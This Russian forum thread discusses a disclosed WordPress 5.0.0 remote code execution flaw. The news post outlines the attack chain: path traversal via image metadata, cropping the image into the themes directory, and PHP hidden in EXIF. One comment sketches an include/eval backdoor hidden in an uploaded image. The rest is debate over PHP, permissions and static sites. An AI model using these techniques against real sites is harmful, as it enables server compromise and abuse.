The OpenNET Project / Index page

[ новости /+++ | форум | wiki | теги | ]



"Раскрыты детали уязвимости в WordPress 5.0.0"
Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Изначальное сообщение [ Отслеживать ]

"Раскрыты детали уязвимости в WordPress 5.0.0"  +1 +/
Сообщение от opennews (??), 20-Фев-19, 14:07 
Саймон Скэннелл (Simon Scannell), в прошлом году предложивший метод атаки "PHP Phar deserialization (https://www.opennet.ru/opennews/art.shtml?num=49641)", опубликовал (https://blog.ripstech.com/2019/wordpress-image-remote-code-e.../) сведения об уязвимости в системе управления контентом WordPress, позволяющей выполнить произвольный код на сервере, имея привилегии автора публикаций (Author) на сайте. В обновлениях WordPress 4.9.9 и 5.0.1 (https://www.opennet.ru/opennews/art.shtml?num=49781) была добавлена частичная защита, позяовлющая блокировать атаку в основном коде WordPress, но полностью проблема остаётся не исправленной и в актуальном выпуске WordPress 5.0.3 может быть эксплуатирована через дополнительные ошибки в плагинах (отмечается, что проблема проявляется в некоторых популярных плагинах c  миллионами активных установок).


Уязвимость стала следствием двух проблем -  ошибки при обработке файловых путей и возможности переопределения метаданных в БД. Первая проблема позволяет переопределить в БД значение записи с параметрами изображения в таблице wp_postmeta. При изменении параметров загруженного изображения (например, описания), передаваемые данные обрабатываются в виде массива параметров, что позволяет переопределить  и значение служебного параметра "_wp_attached_file", содержащего имя файла с изображением.


Так как, параметр из БД с именем файла используется относительно каталога "wp-content/uploads" без повторной проверки корректности имени, атакующий может через добавление символов "../" выйти за пределы базового каталога с загружаемыми файлами. В функциях обработки изображений, например в функции wp_crop_image(), вызываемой при кадрировании изображения, поддерживается как обработка уже загруженного локального файла, так и загрузка внешнего файла. Если локальный файл присутствует, обрабатывается он, а если нет то предпринимается попытка его загрузки c внешнего хоста (например, если указан файл evil.jpg и его нет в локальной ФС, он будет загружен как
"https://targetserver.com/wp-content/uploads/evil.jpg").


При сохранении после кадрирования файл сохраняется в отдельном каталоге с добавлением к имени приставки "cropped-" ("cropped-evil.jpg"). Изменив при помощи вышеотмеченной проблемы имя на "evil.jpg?/../../evil.jpg" можно сохранить результирующее изображение в любом каталоге, например, в каталоге с темами оформления (wp-content/themes), PHP-файлы в котором могут быть выполнены через вызов  через функцию include(). Имя выполняемого файла с темой определяется в переменной "_wp_page_template", которая по аналогии  с именем изображения может быть изменена на произвольное значение. На данном этапе атакующий уже может добиться записи изображения в каталог с текущей темой оформления и указать этот файл в качестве текущего шаблона оформления.


Для решения задачи по передаче PHP-кода под видом изображения используется особенность PHP-расширения Imagick, которое после редактирования оставляет содержимое метаданных EXIF в неизменном виде, т.е. в результирующем изображении остаются те же параметры EXIF, что и в исходном. Разместив вместо блока EXIF PHP-код можно добиться его выполнения при попытке подключения шаблона определённой темы оформления. При применении для преображения изображений PHP-расришения GD, атака усложняется, так как GD очищает EXIF и для выполнения кода необходим особый подбор значений пикселей, который после обработки в GD образует PHP-код.


Интересно, что в ходе изучения внутренних структур PHP-расширения
в libgd параллельно  была выявлена уязвимость CVE-2019-69772 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6977), приводящая к переполнению буфера при разборе в функции gdImageColorMatch специально оформленных изображений, которую также можно использовать для атаки на PHP-приложения, вызывающие функцию [[http://php.net/imagecolormatchbimagecolormatch()]].

URL: https://blog.ripstech.com/2019/wordpress-image-remote-code-e.../
Новость: https://www.opennet.ru/opennews/art.shtml?num=50177

Ответить | Правка | Cообщить модератору

Оглавление

Сообщения по теме [Сортировка по времени | RSS]


1. "Раскрыты детали уязвимости в WordPress 5.0.0"  –5 +/
Сообщение от Аноним (1), 20-Фев-19, 14:07 
[q]изменить любой файл в файловой системе, насколько это позволяют права доступа, под которыми выполняется WordPress[/q]
бред, никто под рутами не запустит WP
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

2. "Раскрыты детали уязвимости в WordPress 5.0.0"  +2 +/
Сообщение от Аноним (2), 20-Фев-19, 14:17 
про рута никто и не говорит, речь про пользователя под которым выполняется WordPress.
Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

5. "Раскрыты детали уязвимости в WordPress 5.0.0"  +10 +/
Сообщение от Аноним (5), 20-Фев-19, 14:26 
Для того чтобы майнить, спамить и DDoS-ить root не нужен.
Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

9. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Vee Neeemail (?), 20-Фев-19, 14:59 
Плюсую. А повышение привилегий взбодрит получше кофе (да да, сложнее, никому неизвестным бложикам не угрожает).
Ответить | Правка | ^ к родителю #5 | Наверх | Cообщить модератору

20. "Раскрыты детали уязвимости в WordPress 5.0.0"  +1 +/
Сообщение от нах (?), 20-Фев-19, 16:40 
а зачем их повышать? На более менее крупном сайте на wp нет ничего ценного вне этого wp - зачем тебе рут, систему переставить и пермишны потюнить собрался? ;-)

Ответить | Правка | ^ к родителю #9 | Наверх | Cообщить модератору

52. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от MINIX (?), 21-Фев-19, 10:35 
Ну, тут схема такая ... => ROOT => Выйти из гостя => ROOT на госте и перехват аутентификационных данных...
Ответить | Правка | ^ к родителю #20 | Наверх | Cообщить модератору

15. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Аноним Анонимовичemail (?), 20-Фев-19, 15:45 
Вы недооцениваете кретинизм людей.

За 2018 год - встречал два проекта, где все скрипты домена выполняются под root. И прямо сейчас - переношу сайт на новый сервер, на старом он так же работал под root. Прям мечта мамкиного кулхацкера.

Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

22. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Аноним (22), 20-Фев-19, 16:53 
щас же модно контейнеры, зачем думать обезопасности, каких-то привелегиях, пользователях?
(типа сарказм)
Ответить | Правка | ^ к родителю #15 | Наверх | Cообщить модератору

40. "Раскрыты детали уязвимости в WordPress 5.0.0"  +1 +/
Сообщение от Аноним (40), 21-Фев-19, 00:00 
А ведь некоторые сторонники контейнеризации всего и вся примерно так и рассуждают, что, мол, запущенный в контейнере софт изолирован от основной системы и потому с пользователями во "внутриконтейнерной" системе можно не заморачиваться.
Ответить | Правка | ^ к родителю #22 | Наверх | Cообщить модератору

63. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от нах (?), 21-Фев-19, 12:03 
а кто хоть раз заморочился - просто делает вид, что так рассуждает - потому что на самом деле ну его нахрен.

Ответить | Правка | ^ к родителю #40 | Наверх | Cообщить модератору

74. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Онаним (?), 21-Фев-19, 20:50 
s/некоторые/многие/
Ответить | Правка | ^ к родителю #40 | Наверх | Cообщить модератору

39. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от пп (?), 20-Фев-19, 23:36 
Дык и эксплоидов для ядра вагон, каждый месяц выходит по штуке только на этом сайте (считай официально).
Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

3. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Аноним (3), 20-Фев-19, 14:19 
При корректной установке прав на каталоги все перечисленное не имеет места. Заметил, что большинство описаний "ошибок" начинается, грубо говоря, с "введем в консоли sudo bash ...".
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

4. "Раскрыты детали уязвимости в WordPress 5.0.0"  +1 +/
Сообщение от Аноним (2), 20-Фев-19, 14:23 
> При корректной установке прав на каталоги все перечисленное не имеет места. Заметил,
> что большинство описаний "ошибок" начинается, грубо говоря, с "введем в консоли
> sudo bash ...".

Права доступа на каталоги вас не спасут, так как вместо одного доступного на запись для wordppress каталога осуществляется сохранение файла в другой доступный на запись каталог. Каталог с темами по умолчанию открыт на запись для wordpress для сохранения и обновления тем оформления из web-интерфейса. Убрав с него запись - получите невозможность обновить темы и останетесь с неисправленными уязвимостями.

Ответить | Правка | ^ к родителю #3 | Наверх | Cообщить модератору

14. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от mickvav (?), 20-Фев-19, 15:41 
В чем проблема открывать директории на запись на время обновления и закрывать после?
Ой, нужно два скрипта написать, ужас-то-какой...
Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

16. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Винтажный газогенератор (?), 20-Фев-19, 15:52 
А в /tmp тоже закроете запись? А в /var/tmp? А в /dev/shm?
Ответить | Правка | ^ к родителю #14 | Наверх | Cообщить модератору

23. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от нах (?), 20-Фев-19, 16:56 
> В чем проблема открывать директории на запись на время обновления и закрывать после?

в том что обновление автоматическое, а не юзер руками распаковывает tar.gz как вам вероятно представлялось.

А еще есть всякие on-demand кэши шаблонизатора и прочего, что вполне может быть исполняемым php кодом и при этом создается во время работы сайта.

> Ой, нужно два скрипта написать, ужас-то-какой...

нужно запускать два скрипта - а это уже ужас-ужас, когда речь не о твоем локалхостике, а хотя бы о паре сотен. Запустить, поапдейтить, убедиться что ничего не сломал, запустить, убедиться что после апдейта оно не начало писать в новые, не предусмотренные скриптом места...

полагаю, ты сломаешься и махнешь на все рукой примерно на третьем таком сайтике, если помимо скриптов-для-апдейта еще что-то за ту зарплату заставляют делать.

ну либо пользователи махнут на тебя рукой и будут жить без "этих апдейтов, которые все время ломаются". На радость спаммерам и ддосерам.

Ответить | Правка | ^ к родителю #14 | Наверх | Cообщить модератору

43. "Раскрыты детали уязвимости в WordPress 5.0.0"  +1 +/
Сообщение от KonstantinB (ok), 21-Фев-19, 01:57 
Одни права доступа - нет, не спасут.
Надо завести два разных uid. Один для php-кода, второй - для пользовательских данных (uploads и т.п.). PHP при этом исполняется от второго uid, файлы, которыми владеет первый uid доступны только на чтение. При этом для всех директорий второго uid запрещается исполнение php-кода.

Да, обновляться мышкой в админке не получится - но это и хорошо: возможность PHP-скриптам гадить в себя - это само по себе большая дыра. Обновить всегда можно вручную. В крайнем случае можно обновлять закрытую от внешнего мира копию wordpress, которой разрешено гадить в себя, и синхронизировать файлы.

Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

53. "Раскрыты детали уязвимости в WordPress 5.0.0"  +1 +/
Сообщение от пох (?), 21-Фев-19, 10:43 
> Обновить всегда можно вручную.

вперед. Все писят хостов, в течении часа чтоб обновил, об исполнении доложить - через нас уже кого-то спамят через очередную дырку в мэйлвраппере.
Кстати, не советую копаться - этот час мы вычтем из твоей зарплаты, потому что вместо обслуживания серверов ты занимаешься тем, что до твоей прекрасной безопастной идеи делали обезьянки за вдесятеро меньшую.
А, да - если после обновления отвалится ставшая несовместимой темка - это ты будешь теперь разбираться, почему и как вернуть как было. Ты ж "все сломал", не пхп-кодер, как прошлый раз было.

Ответить | Правка | ^ к родителю #43 | Наверх | Cообщить модератору

66. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Аноним (66), 21-Фев-19, 12:13 
Расслабьтесь, человек предложил грамотное решение. Для кого оно актуально, те воспользуются. Для кого важнее чтоб было дёшево, вот как для вас, будут сидеть с дырами. Всех всё устраивает. Чего вы кипятитесь-то?
Ответить | Правка | ^ к родителю #53 | Наверх | Cообщить модератору

72. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от пох (?), 21-Фев-19, 18:29 
человек предложил безграмотное решение, не понимая как обычно используется вротпресс - и кем.
Оно реализуемо - на его локалхосте. К сожалению, как раз на локалхосте вротпресс обычно действительно не нужен - можно обойтись и статикой, и статикой разбавленной парочкой самописных (SbO) скриптов.

А для тех кто трахается за деньги - увы, малореально.

Ответить | Правка | ^ к родителю #66 | Наверх | Cообщить модератору

7. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Аноним (7), 20-Фев-19, 14:51 
при "стандартной, по инструкции, установке WP"
при использовании apache не в itk-mode
при использовании без php-fpm на сервере где есть что-то кроме wp
и т.д....
Ответить | Правка | ^ к родителю #3 | Наверх | Cообщить модератору

8. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Анончик999999 (?), 20-Фев-19, 14:52 
да там и так баг на баге!
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

10. "Раскрыты детали уязвимости в WordPress 5.0.0"  +3 +/
Сообщение от Аноним (10), 20-Фев-19, 15:20 
В WordPress есть одна большая уязвимость: WordPress
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

17. "Раскрыты детали уязвимости в WordPress 5.0.0"  –1 +/
Сообщение от Аноним (17), 20-Фев-19, 16:16 
В WordPress есть одна большая уязвимость: шаблонизатор "Personal Home Page", по недоразумению использующийся вместо языка программирования.
Ответить | Правка | ^ к родителю #10 | Наверх | Cообщить модератору

18. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Аноним (10), 20-Фев-19, 16:34 
Не будем многословными
https://w3techs.com/technologies/details/pl-php/all/all

Доля всего остального, если учесть, сколько этого всего - в пределах погрешности.

Ответить | Правка | ^ к родителю #17 | Наверх | Cообщить модератору

19. "Раскрыты детали уязвимости в WordPress 5.0.0"  +1 +/
Сообщение от нах (?), 20-Фев-19, 16:38 
особенно забавно, что следом за пехепе идет asp.net ;-)
Я, честно говоря, удивлен.
Ответить | Правка | ^ к родителю #18 | Наверх | Cообщить модератору

30. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Qwerty (??), 20-Фев-19, 20:49 
А чего удивительного? Удобная и приятная в использовании штука.Не всё то плохо, что исчадие проприетарного ада.
Ответить | Правка | ^ к родителю #19 | Наверх | Cообщить модератору

48. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от trolleybusemail (?), 21-Фев-19, 09:20 
Тем более, что Core уже и не проприетарная
Ответить | Правка | ^ к родителю #30 | Наверх | Cообщить модератору

31. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Онаним (?), 20-Фев-19, 20:53 
Ну в общем не странно - "классика": .NET и Java - делают сколь-либо серьёзную долю за счёт тормознющих монструозных CRM корпорастов, которые готовы взять в 10 раз больше железа, нежели добавить технологию - это дешевле.

Ну а далее жавы совсем мрак. Рельсы ещё как-то вытягивают 2.4%, и далее уже статика :D
Всё остальное недоразумение - как уже писал - на уровне погрешности.

Ответить | Правка | ^ к родителю #19 | Наверх | Cообщить модератору

54. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от нах (?), 21-Фев-19, 10:45 
ну я и ждал жабу, а asp где-нибудь на уровне шума рельсов (на рельсе я тебе за час трех студентов найму, а для жабы да чтоб еще работало - и за месяц не найдешь хоть одного вменяемого).
Понятно, когда он ломается, меня не позовут, поэтому, видимо, для меня картина мира сильно искажена в пользу земноводных.

Ответить | Правка | ^ к родителю #31 | Наверх | Cообщить модератору

32. "Раскрыты детали уязвимости в WordPress 5.0.0"  –2 +/
Сообщение от Аноним (32), 20-Фев-19, 21:18 
В WordPress есть одна большая уязвимость: php (fixed, не благодарите)
Ответить | Правка | ^ к родителю #10 | Наверх | Cообщить модератору

11. "Раскрыты детали уязвимости в WordPress 5.0.0"  –2 +/
Сообщение от Аноним3 (?), 20-Фев-19, 15:26 
почему надо писать о нем. это даже не новость. то что в нем постоянные баги знают все. какая бы версия не была она всегда написана корявыми руками и с кучей дыр. там наверно школота балуется, а его все тащат)))
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

21. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от YetAnotherOnanym (ok), 20-Фев-19, 16:47 
> особый подбор значений пикселей, который после обработки в GD образует PHP-код

Ээээ.. а зачем вообще такой функционал - декодить картинку в код? Кто-нибудь может подсказать вменяемый юзкейс для такого?

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

24. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от нах (?), 20-Фев-19, 16:58 
"если ваш язычок не позволяет одним изящным движением выполнить картинку (или ее exif) как код - зачем тогда он вообще нужен такой ограниченный и неэффективный?" (c)разработчики пехепе
Ответить | Правка | ^ к родителю #21 | Наверх | Cообщить модератору

26. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Аноном (?), 20-Фев-19, 17:16 
Картинка которую нельзя просто взять скачать и посмотреть.
Ответить | Правка | ^ к родителю #21 | Наверх | Cообщить модератору

79. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Vitaliy Blatsemail (?), 22-Фев-19, 12:56 
> Ээээ.. а зачем вообще такой функционал - декодить картинку в код? Кто-нибудь может подсказать вменяемый юзкейс для такого?

О, я тебе подскажу целых три юзкейса.
Ну, в чем смысл ты понимаешь, да? У тебя в каталоге ./uploads/ лежит безобидный файлик favicon.ico, на который всем насpать, пушо это картинка. А потом в дырявом файлике темы functions.php у тебя лежит строчка @include('./uploads/favicon.ico'); или более хитропопые варианты как через GD: eval(gunzip(gd_бла_бла_бла('./uploads/favicon.ico')))

А потом:

1. Твой Hetzner тебя банит за то что твой VPS создает слишком жирную активность криптомайнером. Ты теряешь бабло на засуспенженом хостинге, а кто-то получает бабло на намайненной крипте за твой счет;

2. Твой Hetzner тебя банит за то что с твоего IP было отправлено 50000 enlargeyourpenisoв за последние 24 часа. Ты теряешь бабло на забаненном хостинге, а кому-то заплатили по 10 центов за каждый отправленный email;

3. Твой Hetzner тебя банит за то что с твоего IP был отправлен миллион ICMP-пакетов нестандартной длины кому-то на аплинк. Ты как обычно теряешь бабло, а кто-то получает 10 косарей бакинских за час DDOS'а, используя зомбей вроде твоего Вордпресса.

После чего тебе дают рекавери (пушо сеть уже отключена) и ты анализируешь файл за файлом, все несколько тысяч PHP-гогнокода в поисках малваря, но не находишь его, а поискать в картинках у тебя не хватит догадливости. Вот тебе юзкейс.

Ответить | Правка | ^ к родителю #21 | Наверх | Cообщить модератору

25. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Аноном (?), 20-Фев-19, 17:14 
А не слишком ли часто?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

27. "Раскрыты детали уязвимости в WordPress 5.0.0"  +1 +/
Сообщение от Аноним (27), 20-Фев-19, 17:49 
Эх, с ностальгией вспоминаю времена конца php4 - начала php5, когда верили, что с удалением register_globals и магических кавычек пхп уж точно станет безопасным, когда чтобы подключить модуль, не нужны были эти непонятные менеджеры и подгрузчики,достаточно было написать require_once…
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

28. "Раскрыты детали уязвимости в WordPress 5.0.0"  +2 +/
Сообщение от th3m3 (ok), 20-Фев-19, 18:00 
В большинстве случаев, бложик или информационный сайт - можно запилить на генераторе статики. Например - Hugo, Hexo, Jekyll и т.д. Будет точно такой же сайт, что и на Wordpress, только будет работать шустро(летать как ракета, после wordpress), будет подключаться меньше скриптов на страницу, а можно и без них обойтись. И никаких уязвимостей и тормозов этого монстра wordpress, никаких говноплагинов и т.д. Это как с винды на GNU/Linux пересесть.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

29. "Раскрыты детали уязвимости в WordPress 5.0.0"  –6 +/
Сообщение от пох (?), 20-Фев-19, 20:25 
"Будет точно такой же сайт, что и на Wordpress, только будет работать шустро(летать как ракета, после wordpress)"
и выглядеть будет - как г-но.

поправил, не благодари.

И да, если у тебя "вордпресс тормозит" - тебя надо уволить и нанять админа.

он, конечно, может подтормаживать - но для этого надо таки написать на нем нифига не статический сайт, и при этом вовсе не состоящий из одной странички.

"тормозит" обычно отрисовка, а она у вротпрессы как раз не особо-то и навороченая, если модулями-украшалками не увлекаться сверх меры.

Ответить | Правка | ^ к родителю #28 | Наверх | Cообщить модератору

33. "Раскрыты детали уязвимости в WordPress 5.0.0"  +5 +/
Сообщение от th3m3 (ok), 20-Фев-19, 21:23 
>и выглядеть будет - как г-но.

Ты вообще отличаешь фронтенд от бекенда?  Можно перенести сайт с Wordpress, например на Hugo и сохранить внешний вид, а так же все ссылки. Но лучше сделать нормальный новый дизайн, т.к. видел я эти говношаблоны на Wordpress, когда подключают +100500 библиотек и скриптов, чтобы сделать мобильное меню или ещё какую ерунду, которую можно даже на голом css сделать или ванильном js.

>И да, если у тебя "вордпресс тормозит" - тебя надо уволить и нанять админа.

Может тебя надо уволить за профнепригодность? Да он из коробки, даже в админке может еле шевелиться. Как и всё остальное УГ, которое на php написано. Я уже привык к быстрым системам на других более адекватных языках и когда мне подсовывают это дерьмо, под названием wordpress - в первую очередь, уговариваем клиентов уйти с этого УГ. Почти все соглашаются, если у них нет php-головного мозга. В итоге - клиенты довольны, теперь их сайты быстры как никогда, ничего не тормозит и никто не взломает сайт через ущербный wordpress или какой ещё чудо говноплагин.

Если ты кроме wordpress и php - ничего не видел, может он для тебя и быстрый, хороший и отличный. Но не все же пользуются дерьмом.

Ответить | Правка | ^ к родителю #29 | Наверх | Cообщить модератору

38. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Аноним (66), 20-Фев-19, 22:55 
> уговариваем клиентов уйти с этого УГ

На что уводите, если не секрет?

Ответить | Правка | ^ к родителю #33 | Наверх | Cообщить модератору

42. "Раскрыты детали уязвимости в WordPress 5.0.0"  +1 +/
Сообщение от th3m3 (ok), 21-Фев-19, 00:48 
Hugo.
Ответить | Правка | ^ к родителю #38 | Наверх | Cообщить модератору

45. "Раскрыты детали уязвимости в WordPress 5.0.0"  +1 +/
Сообщение от iCat (ok), 21-Фев-19, 05:52 
А можно взглянуть на практические реализации сайтов на HUGO?
Ответить | Правка | ^ к родителю #42 | Наверх | Cообщить модератору

46. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от th3m3 (ok), 21-Фев-19, 08:41 
Пожалуйста: https://gohugo.io/showcase/
Ответить | Правка | ^ к родителю #45 | Наверх | Cообщить модератору

47. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от iCat (ok), 21-Фев-19, 08:44 
Это от самих "хуговцев". А вашт работы можно посмотреть?
Ответить | Правка | ^ к родителю #46 | Наверх | Cообщить модератору

75. "Раскрыты детали уязвимости в WordPress 5.0.0"  +2 +/
Сообщение от Онаним (?), 21-Фев-19, 20:54 
Ну он же написал - уговаривают клиентов. Но клиенты - не идиоты, они не соглашаются.
Ответить | Правка | ^ к родителю #47 | Наверх | Cообщить модератору

55. "Раскрыты детали уязвимости в WordPress 5.0.0"  –3 +/
Сообщение от нах (?), 21-Фев-19, 10:54 
> Можно перенести сайт с Wordpress, например на Hugo и сохранить внешний вид, а так же все ссылки.

только работать ничего не будет, поскольку сайт на вротпрессе в лучшем случае - обновлялся пользователем, а в худшем содержал комьюнити-кусок, от гостевой в темном углу до вполне серьезного обмена инфой.
Иначе бы он был не на вротпрессе а на чем побыстрее.

то есть это не "перенести", а массогабаритный макет, лишенный основного функционала.
Ну и зачем он нам?

> Да он из коробки, даже в админке может еле шевелиться.

понятен, следующий!

> Я уже привык к быстрым системам на других более адекватных языках

у тебя, конечно, есть результаты нагрузочного тестирования, замеры ключевого функционала (у меня они - есть, поскольку php обложен метриками, а в твоей поделке как?)  и ты их можешь показать клиенту? Или все заключается в гордом "у вас тормозит, у меня не будет!", с демонстрацией шаблона сайта из одной странички с нулем контента, и кто с тобой не согласен - у тех, конечно же, "php головного мозга", ага?

P.S. лет десять назад одному такому почти удалось меня убедить - ну, он по крайней мере, использовал нормальную терминологию, и даже какие-то технические обоснования приводил, а  не "пролетарское чутье". Посмотрел-посмотрел я как (рекомендованная им) джанга работает с базой данных - в общем, нагрузочное тестирование не потребовалось, так выкинули.

Ответить | Правка | ^ к родителю #33 | Наверх | Cообщить модератору

67. "Раскрыты детали уязвимости в WordPress 5.0.0"  +2 +/
Сообщение от Аноним (66), 21-Фев-19, 12:20 
> не "пролетарское чутье" [...] нагрузочное тестирование не потребовалось, так выкинули.

Ясно. Про метрики он заливает, а нагрузочное тестирование не потребовалось.

Ответить | Правка | ^ к родителю #55 | Наверх | Cообщить модератору

34. "Раскрыты детали уязвимости в WordPress 5.0.0"  +2 +/
Сообщение от Аноним (32), 20-Фев-19, 21:28 
> он, конечно, может подтормаживать - но для этого надо таки написать на нем нифига не статический сайт, и при этом вовсе не состоящий из одной странички.

Статические странички могут друг на друга ссылаться, представляешь. ШОК! СЕНСАЦИЯ!

Ответить | Правка | ^ к родителю #29 | Наверх | Cообщить модератору

56. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от нах (?), 21-Фев-19, 10:56 
с разморозочкой вас - как там был интернетик, в вашем 1994м? В нашем-то 2019, к сожалению, ссылок-то на страницах уже и нет почти нигде.

юзеру совсем не "гипертекстовый графический фидонет" оказался нужен.

Ответить | Правка | ^ к родителю #34 | Наверх | Cообщить модератору

62. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Попугай Кеша (?), 21-Фев-19, 11:30 
А что тогда?
Ответить | Правка | ^ к родителю #56 | Наверх | Cообщить модератору

64. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от нах (?), 21-Фев-19, 12:08 
повторяю: берешь плюсик, заворачиваешь в почту, отправляешь модератору на рассмотрение. Как рассмотрит, откроет исходник странички (ну или даже модным способом в базе поапдейтит счетчик - но потом придется еще подождать, пока сработает cron скрипт/большая красная кнопка, обновляющий статически сгенеренный сайт) - а как ты еще-то хотел?

аааа, ты хочешь чтоб ты плюсик ткнул и сразу все сработало, причем без перезагрузки страницы?

Ну, вот... и это мааааааленький такой плюсик, почти ненужная фича и на сайте с дизайном 90х...
Посетителей у которого, сам видишь, ну просто дофига.

Ответить | Правка | ^ к родителю #62 | Наверх | Cообщить модератору

37. "Раскрыты детали уязвимости в WordPress 5.0.0"  +2 +/
Сообщение от robot228email (?), 20-Фев-19, 22:40 
Подписываюсь под каждым словом. Статика рулит.
Ответить | Правка | ^ к родителю #28 | Наверх | Cообщить модератору

58. "Раскрыты детали уязвимости в WordPress 5.0.0"  –1 +/
Сообщение от нах (?), 21-Фев-19, 11:01 
кто ему плюс нажал - забирайте обратно. Статика рулит - плюс пришлете емейлом, модератор его рассмотрит и вручную поправит на страничке.

Ответить | Правка | ^ к родителю #37 | Наверх | Cообщить модератору

73. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Аноним (73), 21-Фев-19, 19:08 
>Статика рулит.

написал человек на странице вовсе не через генерируемые в статику комменты 🤦‍♂️

Ответить | Правка | ^ к родителю #37 | Наверх | Cообщить модератору

80. "Раскрыты детали уязвимости в WordPress 5.0.0"  –1 +/
Сообщение от th3m3 (ok), 22-Фев-19, 13:25 
Для комментов полно сервисов, которые легко подключаются к статичным сайтам.
Ответить | Правка | ^ к родителю #73 | Наверх | Cообщить модератору

68. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Сергей (??), 21-Фев-19, 13:20 
А если подумать, то и без бложика можно обойтись. Всё равно ни одной умной мысли там не было.
Ответить | Правка | ^ к родителю #28 | Наверх | Cообщить модератору

36. "Раскрыты детали уязвимости в WordPress 5.0.0"  +2 +/
Сообщение от robot228email (?), 20-Фев-19, 22:35 
Много кто писал что на западе юзают вордпресс. Любят там его даже серьёзные конторки. Но вот параллельно с этим замечена тендеция возврата к статике. Hugo, Hexo, Jekyll и т. д.
У меня Jekyll. Доволен как слон. PHP&Wordpress must die.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

44. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Аноним (44), 21-Фев-19, 04:00 
Тенденция возврата к статике возникла вскоре после появления динамической генерации контента, когда кто-то умный догадался, что одну и ту же страницу можно засунуть в memcached, вместо того, чтобы каждый раз генерить её заново.
А теперь кто-то догадался, что эти сгенерированные страницы можно аккуратно разложить на диске и отдавать с него.
Ответить | Правка | ^ к родителю #36 | Наверх | Cообщить модератору

59. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от нах (?), 21-Фев-19, 11:05 
только на то он и memcached, что страничка в нем рано или поздно поэкспайрится, и будет пересоздана заново.
> А теперь кто-то догадался, что эти сгенерированные страницы можно аккуратно разложить на диске и
> отдавать с него.

кто-то - неосилятор быстрых шаблонизаторов, настолько, что отдавать с диска (а не из memcached) у него получается заметно глазу быстрее чем сгенерировать?

Знаете, ребята, а php похоже не настолько плох, как я привык считать.

Ответить | Правка | ^ к родителю #44 | Наверх | Cообщить модератору

76. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Онаним (?), 21-Фев-19, 20:56 
Из шустрейших шаблонизаторов - blitz. В виде сишного модуля для пыха.
Ответить | Правка | ^ к родителю #59 | Наверх | Cообщить модератору

41. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от Аноним (41), 21-Фев-19, 00:30 
>очередная уязвимость в libgd

похоронить и заменить библиотекой OpenCV.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

50. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от трурль (?), 21-Фев-19, 09:46 
Кстати, граждане похапехейтеры. Подскажите, как настроить php, чтобы он стал, наконец, уязвляться этой самой phar-уязвимостью. Может, модуль какой надо установить, или что.
У меня не хочет исполнять код через file_exists, хоть ты тресни. Дефолтная установка php-fpm из реп убунтей 16.04 и 18.04, и древний денвер на виртуалке тоже не хочет. Ни через http-сервер, ни через cli.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

51. "Раскрыты детали уязвимости в WordPress 5.0.0"  +/
Сообщение от domov0y (?), 21-Фев-19, 10:31 
А ты рассказывай как обгонял и как подрезал.

надо
